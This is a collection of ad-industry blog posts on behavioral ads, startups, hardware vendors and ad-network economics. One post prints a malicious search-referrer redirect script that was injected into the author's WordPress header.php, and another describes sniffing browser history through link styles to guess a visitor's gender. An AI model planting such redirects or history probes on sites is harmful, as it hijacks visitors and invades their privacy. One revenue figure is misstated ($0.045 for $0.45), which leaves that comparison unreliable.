Mike On Ads

I was just browsing on my gender test blog post and noticed the following ad:

So normally you’d say — so what mike, it’s just an ad for senseo! Well this ad is special because I was just searching for Senseo coffee pods earlyt his morning (both via Google & Amazon.com). I find it highly unlikely that this is a pure coincidence. Here’s the clickstream (broken into multiple lines and shortened for legibility):

http://pagead2.googlesyndication.com/pagead/adclick?sa=L&ai=BSrzSV[...]

http://www.sharesenseo.com/index.jsp?q=a-googlewomen

Funny that there is a nice “q=a-googlewomen” inserted into the landing page — I swear the gender test showed me to be a man!! So this is all purely speculative of course, but if this is indeed true then we suddenly have the world’s best behavioral display network to compete with.

Currently experiencing some site issues (Error 500 codes). If you see this, hit refresh a few times and page should appear after a few tries.

Really should move this site to some better hosting… maybe a cloud provider!

Thanks to Paul Cook for the initial link to this fascinating little javascript script Social History. Thes cript analyzes the css color of various links to determine whether or not the user has been to that site. If the link has the “visited” style, then he marks the user as having been to that site. Now the Social History implementation of this is rather innocuous — it’s a clever way of only displaying only the sharing buttons of sites that the user is an active participant of. Of course there are far more interesting applications for advertising.

One of the things that I always wanted to do but never got around to was to analyze a user’s browsing history to estimate age and gender. Of course the idea is definitely not new, in fact Xerox (of all companies??) has a patent on the whole process and I’m certain plenty of networks already do something of the sort… but what the heck, let’s have some fun!

So what I did is I modified the SocialHistory JS so that it polled the browser to find out which of the Quantcast top 10k sites were visited. I then apply the ratio of male to female users for each site and with some basic math determine a guestimate of your gender. The math is really quite simple, I just take:

1 / (1 + r_1 * r_2 * … * r_n)
where p_i is the ratio of men-to-women for the specific site. For example, if you had been to two sites that had a 2-1 ratio of men to women, the probability of you being female would be:
1 / (1 + 2 * 2) = 1/5 = 20%

Ok, so Click the button to give it a shot (those of you using RSS readers probably need to click this link to open this post in a browser):

UPDATE: This takes a while on Internet Explorer — please be patient (or try FireFox)

Kind of cute right? Don’t worry — I am not storing your history in any way, this is purely for fun. I’d appreciate it if you paste the resulting probabilities in the comments together with your actual gender, I’m interested to know the accuracy of this simplistic approach. In case it isn’t obvious — please don’t do this for real.

UPDATE: I’ve disabled comments for this post, as there are simply too many!

Just placed an order on Seamlessweb and received this nice warning after placing the order:

OOPS! Seems Yahoo forgot to renew it’s security certificates. Do you have a process in place to secure to ensure your domain names and associated security certificates are always up to date? How about 3rd party monitoring of your service? Now this little warning is a nuisance compared to what happened to perl.com when a domain that was used for serving on the site was registered by a hacker.

A few weeks ago I wrote a post about the difficult times that tech startups are having in the industry today. Reading through the post, I realized there was a key point that I forgot to make. Whether or not your company is a services business, a technology play or a media company:

If you aren’t generating revenue, it’s time to re-evaluate your business.

There is so much VC money out there these days (although word on the street is it’s drying up!), that it’s easy to forgo initial revenue and start building & scaling a business in a void without having hard cash paying customers. Here’s the thing — you should be able to prove your technology quickly and with minimal investment… if you can’t, you’re overthinking either your product or overestimating the requirements of your clients. In fact, with the right contacts you can probably sell a 20-line PHP script as a “pixel server” — at least to a network or agency that desperately needs to have “behavioral technology” for the next big agency deal.

Of course the script won’t scale, and it probably won’t work as a standalone product for multiple customers which means you’ll have to rewrite it and hire some real engineering talent to turn it into a packageable product. But if you have an idea — build a POC quickly, get yourself a customer, prove there’s interest and start generating revenue! Doesn’t matter if it’s adserver, behavioral tracking, a new media network — each idea has a revenue-generating “quick win” you can close to prove the business works. Right Media was a profitable for over a year before it launched the exchange. A single good CPA deal with AOL funded most of the first year of the company!

And it’s not just about the revenue. Real customers provide real data, real feedback and real stats about scalability & performance — invaluable feedback & information that will help you build a better and ultimately more competitive final product and/or service offering.

I’m not saying you have to be profitable (although if you’re a pure media company you better have a damn good reason not to be). There is definitely an argument to be made that investing in engineering today will pay off in revenues later, but that does not give you an excuse to develop in a void hoping that your product will be a smash hit.

If you’re not making money now, chances are you won’t make any later either.

Here at AppNexus we obviously spend a significant chunk of money on servers & hardware to build out our computing cloud. Over the past year we’ve primarily dealt with Dell as they came in great on price and worked their asses off to get our data centers up and running quickly and efficiently. We were assigned a “new account team” that really went the extra-mile to get things done for us.

Three months ago, when we passed the 6-month mark Dell kindly transitioned us over to a new “maintenance team”. Quite to our surprise this team has been nothing but trouble — less touch, less care and, at times, just straight-up sloppy service. Two weeks ago we kicked-off the process for a new $1 million hardware purchase — hot off the back of two smaller $100k purchases (eg, we are a hot & active customer). Because Dell had historically quite good to us on larger orders we gave them “first dibs” — if they could turn around a quote in 48-hours we wouldn’t shop the deal across other vendors.

Well, instead of taking us up on the offer our account team sat on their hands for 48 hours and then both our server rep & primary contact went on vacation for a week with no backup or notice! It’s not been a full two weeks and — no quote from Dell, no visit to our office to discuss specs & requirements, severely delayed sloppy and incorrect quotes — really — no love. Maybe I’m wrong, but in my experience when a customer calls and says they’re ready to buy — you do whatever you can to satisfy their needs. The worst part is –this order is only the first of many planned over the coming quarters — they’re about to lose a multi-million $ account.

Thankfully we’ve built our cloud to be vendor independent and kept an open line to HP & Sun — both of which have been very proactive in the past week to address our needs. Let’s hope they don’t transition us to a “maintenance account” six months from now though!

Ok — that’s enough cloud talk for now — back to advertising!

WordPress upgrade completed. I did some basic sanity checks and everything looks good but please let me know if you see anything wonky.

Site will probably be up & down for the next 30 minutes or so as I upgrade my wordpress…

Apologies to any visitors that were redirected away from my site to some random search site. I’m not quite sure how, but somehow the following was injected into my wordpress ‘header.php’ file:

<script>
	var r=document.referrer,t=\"\",q;
	if(r.indexOf(\"google.\")!=-1)t=\"q\";
	if(r.indexOf(\"msn.\")!=-1)t=\"q\";
	if(r.indexOf(\"yahoo.\")!=-1)t=\"p\";
	if(r.indexOf(\"altavista.\")!=-1)t=\"q\";
	if(r.indexOf(\"aol.\")!=-1)t=\"query\";
	if(r.indexOf(\"ask.\")!=-1)t=\"q\";
	if(t.length&&((q=r.indexOf(\"?\"+t+\"=\"))!=-1||(q=r.indexOf(\"&\"+t+\"=\"))!=-1))
		window.location=\"http://maxifind.net/index.php?pf_id=361&q=\"
                                     +r.substring(q+2+t.length).split(\"&\")[0];
</script>

The way the above code works is that if a user is referred to the site via a search engine the user is immediately redirected to “maxifind.net”, which then displays ads related to the keywords from the search engine referer string. For any adnetworks out there — as this code as mostly definitely NOT inserted by me!!! Looking from traffic logs it appears as if “exit rates” spikes dramatically late last week so thankfully it’s only been up for a ccouple days.

Any suggestions as to how this happened would be appreciated. In the meantime I’ve changed all passwds and am in the process of upgrading my WordPress (which I haven’t done in a year… oops). It definitely goes to show, unless you’re going to put significant effort in maintaining your own software it’s much better to leave the hosting to someone else!

Technology Doesn’t Work

For a technologist like myself, one of the more frustrating aspects of online advertising is that most technology companies don’t succeed. There are countless tech-focused startups, each of which has a new “technology solution” that will revolutionize social media, online branding, contextual classification or user categorization. Countless teams of great engineers who know build great products. Sadly, most make little or no money.

But it’s ONLINE advertising you say — isn’t the whole industry based on technology? If a bunch of bright entrepreneurs come up with some new technology shouldn’t they be able to make lots of money? Well here’s the problem: the whole industry is based on weak technical underpinnings — browser-side redirects and cookies — that make it incredibly difficult to integrate services across providers. The end result is that the online advertising market is controlled by media companies.

Media Makes Money

At the end of the day, everybody is trying to get a slice of the media dollar as it moves from the brand to the actual publisher. Whether it is vertical ad-networks who aggregate publishers to help make finding inventory easier, behavioral ad-networks who enrich user-data to help brands reach the right users or technology providers who ease the whole process — each is simply looking to take a cut of that dollar.

As a new company you have two options — start an ad-network and inject yourself directly into the money stream or selling your technology to one of the existing players in the food-chain. Realistically — most agencies and publishers aren’t very tech savvy, so as a cutting edge technology player you are primarily limited to selling to ad-networks. Here’s the problem — although running an ad-network can be a highly lucrative business — selling technology to one is not. Three reasons:

Integration Sucks

First and foremost there is the issue that the integration of your technology with a network will be a total pain. If anything needs to be installed directly (eg code level) with a serving system you might as well forget it. For the sake of this post — let’s assume that you can overcome that hurdle.

IP Ownership

Valuations in the industry are largely driven by technology platforms & solutions. A plain tech-free network will sell for 5x revenue whereas a tech platform can easily hit a 40x multiplier. This is why you see more and more networks popping up around “platforms” as they are hoping it will net them the big Yahoo or Google acquisition. When selling a technology solution to the network the natural response will often be — “We can’t outsource this”, or “We need to own this IP”.

Pricing is Hard

Once you have proven some ‘value’ it’s time to price your technology solution. Now Ad-networks make a business out of squeezing out margins. They buy inventory from some party, sell it back to another and take a certain percentage cut which ranges from 20-50%. Any fee, whether CPM or revenue-share, will directly impact the bottom line of the network — this means a low apetite for expensive software. Let’s walk through a pricing example:

A (purely hypothetical) example

Travelocity.com and is buying inventory from Advertising.com. Ad.com is short of direct travel based publishers and buys additional inventory from the vertical ad-network “Travel Ad Network” who ends up displaying the Travelocity ad on a website ilovetravel.com.

Travelocity pays Advertising.com $1.00 CPM for the inventory. Ad.com takes a 30% margin and pays Travel Ad-Network $0.70 CPM. TAN takes an additional 30% cut and pays the publisher $0.49 CPM. So in this scenario we see the following revenue:

So now here you are — you think you have a new way of optimizing travel-focused media by customizing the creative message per user and want to start your company. Let’s imagine that your new technology can improve the efficiency of travel ads by 50% and hence increases the value of impressions by 50% You have two choices, one is to go off and build some technology and try to sell it to Ad.com. The other is to start an advertiser-facing travel based network and get the deal directly from Travelocity. You cannot sell the technology directly to Travelocity since they do not have the technology or knowhow to implement your solution and you cannot sell to Travel Ad Network because they don’t have direct access to the creative.

For the sake of argument, let’s suspend disbelief and assume that there aren’t any integration challenges and there is a magic way in which you can seamlessly plugin your technology. Your technology increases Ad.com’s revenue by $0.15 CPM so let us assume that your sales team can negotiate a 50% revenue share, or a $0.075 CPM fee for your technology. In this case the revenue flow looks as follows:

Now if you became an ad-network and contacted Travelocity’s directly and offer to optimize their ad-campaign for them. On their behalf you will approach publishers, vertical ad-networks and other sources of inventory and use your “secret sauce” to increase their efficient by 50%. You get the deal and start buying ad-inventory from travel publisher, and of course, Travel Ad Network as well. Because your technology increases effectiveness by 50% you now spend $1.50 CPM on this ad-campaign, which means you take in your 30% ($0.45 CPM), and pay off the rest ($1.05 CPM) to Travel Ad-Network. In this scenario you see the revenue as follows:

See the difference? Selling pure tech gets you $0.075 CPM whereas starting the network gets you $0.045!! You make six times more money as a network and the worst part is this — it’s probably easier.

Final Thoughts

So the arguments above are obviously not very scientific — but I stand by the basic premise. This is why more and more we are seeing tech companies rebrand themselves as or launch new ad-networks. They are finding that the margins are much higher selling the inventory themselves. This in itself causes a whole new problem — hundreds and hundreds of new ad-networks. In essence, although each company individually is solving a specific problem with their technology it is causing a whole new problem of fragmentation.